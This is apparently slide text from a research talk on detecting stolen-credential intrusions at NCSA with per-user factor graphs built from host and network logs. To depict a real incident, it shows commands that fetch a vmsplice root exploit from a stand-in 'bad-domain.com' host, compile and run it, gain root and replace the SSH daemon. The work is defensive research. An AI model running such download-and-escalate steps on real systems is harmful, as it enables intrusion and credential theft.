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75 percent of network intrusions used weak or stolen credentials to gain initial access

6.5M LinkedIn passwords

56M Home Depot credit cards

11M Ashley Madison passwords

4.8M vTech passwords
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Google search trend for “data breach”

2003-2013 (Verizon)

2,500 data breaches
1.1 billion compromised records
75% of intrusions used weak or 
stolen credentials

Check if your accounts
have been compromised

http://www.verizonenterprise.com/resources/reports/rp_data-breach-investigations-report-2013_en_xg.pdf
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Attacker

NCSAFirewall OpenSSH

Bro IDS Argus netflow File Integrity Monitor Syslog

Legitimate Users

$ wget server6.bad-
domain.com/vm.c

Connecting to xx.yy.zz.tt:80… 
connected.
HTTP 1.1 GET /vm.c 200 OK

3. Download exploit

4.  Escalate privilege
$ gcc vm.c -o a; ./a

Linux vmsplice Local Root 
Exploit       
[+] mmap: 0xAABBCCDD
[+] page: 0xDDEEFFGG
…
# whoami 
root

2. OS fingerprinting
$ uname -a; w
Linux 2.6.xx, up  
1:17, 1 user
USER     TTY   
LOGIN@  IDLE
xxx   console 18:40       
1:16

1. Login remotely
tcp 195.22.xxx.xxx.55554 ->  
141.142.237.95.22 FIN US

5. Replace SSH daemon
sshd: Received SIGHUP; 
restarting. 

Stolen credentials have been used to
steal more credentials at NCSA: a real incident
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alice:password123
bob:password456
…

Password guessing

Email phishing

Social engineering

alice:password123
bob:password456
…



Signature and anomaly based detection using a single log entry are not sufficient

Signature-based:
Hash value of malicious files

+ Work well with known 
malicious pattern

- May not be effective in 
detecting unknown malicious 
patterns

$ shasum(vm.c)
dcaa612d...

SHA 256 hash value of malicious files

Anomaly-based
Abnormal login activities of users:
- A login from a new device or a new IP address
- A login using privileged accounts, e.g., root

+ Work with unknown deviation 
from a normal pattern

- Sensitive to threshold and tend to 
have a high false positive rate

sshd[29120]: Failed unknown for invalid user user69 
sshd[29120]: Failed none for invalid user user69
sshd[29120]: Failed password for invalid user user69

syslogs of password attempts on a target user 
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Proposed framework: model user state transition by integrating host/network logs

Problem Definition:
Input: system and network logs of an enterprise
Output: a list of malicious users

Assumptions:
Attackers do not tamper monitoring logs

Approach:
- Combine information from host and network logs into a grap (one graph 

per user)
- Model user state transition: benign -> suspicious -> malicious
- Reason about a user state when a new log entry is observed (at runtime).
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Detector

B

A
Network flows

Firewall logs

System logs



FG can integrate host and network logs

DOWNLOAD_SENSITIVE COMPILEOS_FINGERPRINTLOGIN_REMOTELY RESTART SYS SERVICEEVENTS

suspicioussuspiciousbenign malicious malicious
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RAW
LOGS time

$ wget bad-domain.com/vm.c $ gcc vm.c -o a; ./a$ uname -a; wsshd: Accepted <user> sshd: Received SIGHUP; restarting. 

USER
STATES

U = {benign, 
suspicious, 
malicious}

The intrusion is detected at an early stage



Factor Graph (FG) can model user state transitions

http://vision.unipv.it/IA2/Factor%20graphs%20and%20the%20sum-product%20algorithm.pdf

A factor graph is a bipartite, undirected
graph of random variables and factor
functions.

A factor graph can describe complex
dependencies among random variables
using univariate or multivariate factor
functions.

A factor function is a mathematical
definition of prior beliefs or expert
knowledge. It can represent both causal
and non-causal relations
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Enumerate possible 
s1, s2 state sequences

benign, benign
benign, suspicious
benign, malicious,
…
malicious, malicious

State inference

FG can integrate knowledge of security experts and past data

An example Factor Graph

Example factor functions 
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e1: download sensitive
e2: restart system service

s1: user state when 
observing e1

s2: user state when 
observing e2

Variable nodes are defined using security logs
Factor functions are defined

1. Automatically based on the data 
from past incidents

2. Manually from security knowledge 
of the system

Most probable s1, s2 is 
suspicious, malicious

Score(s1, s2) is the sum
of factor functions fi

Frequently observed
events in the attacks



3. For each user, construct a per-user factor graph 
based on extracted events and factor functions

4. Perform inference on factor graphs using Gibbs 
sampling or Belief Propagation

FGs have been experimented with real data of past incidents at NCSA

1. Construct factor functions from 51 
incidents [2005, 2009]
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2. Extract events from 65 test incidents 
[2010, 2013]

6. Take 
preventive
action

5. Output user 
state sequence



On NCSA dataset, FG has a better detection rate compared to other methods

Our approach has:
• Best detection rate (46 of 62 malicious

users)
• Smallest false detection rate (19 users of

1267 benign users).

Detection performance of the techniques
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Name True 
Positive

True 
Negative

False 
Positive

False 
Negative

Host 
anomaly

9.8 96.0 4.0 90.2

Decision 
Tree

21.0 100.0 0.00 79.0

Factor 
Graph

74.2 98.5 1.5 25.8

41 of 46 identified malicious users were identified before the system misuse



FG detected 6 hidden users that were not identified by NCSA security team

Incident ID Activity

20100416 Illegal activities

20100513 Incorrect credentials (multiple times); Sending spam emails

20101029 Logging in from multiple IP addresses; Illegal activities

20101029 Logging in after a long inactive time; Illegal activities

20101029 Illegal activities
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Signature and anomaly based detection using a single log entry are not sufficient

Signature-based:
Hash value of malicious files

Anomaly-based
Abnormal login activities of users:
- A login from a foreign country
- A login from a new device or a new IP 

address
- A login using privileged accounts, e.g., root

Work well with known 
malicious pattern

May not be effective in detecting 
unknown malicious patterns

Work with unknown deviation from a 
normal pattern

Sensitive to threshold and tend to have 
a high false positive rate

Integrating host/network logs
A framework to: 
- Combine events from host 
and network logs
- Reason about multi-staged 
attacks

Can identify an intrusion 
at an early stage

Requires manual human 
labeling of attacks
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Conclusion

1. Factor graphs are a suitable representation
of user/system state transitions in security
incidents.

2. Experimental evaluation of factor graphs
show that a majority of compromised users
(74%) can be detected in advance (minutes to
hours before the system misuse)

3. Moving forward, a security testbed is needed
to generate, replay, and analyze attacks
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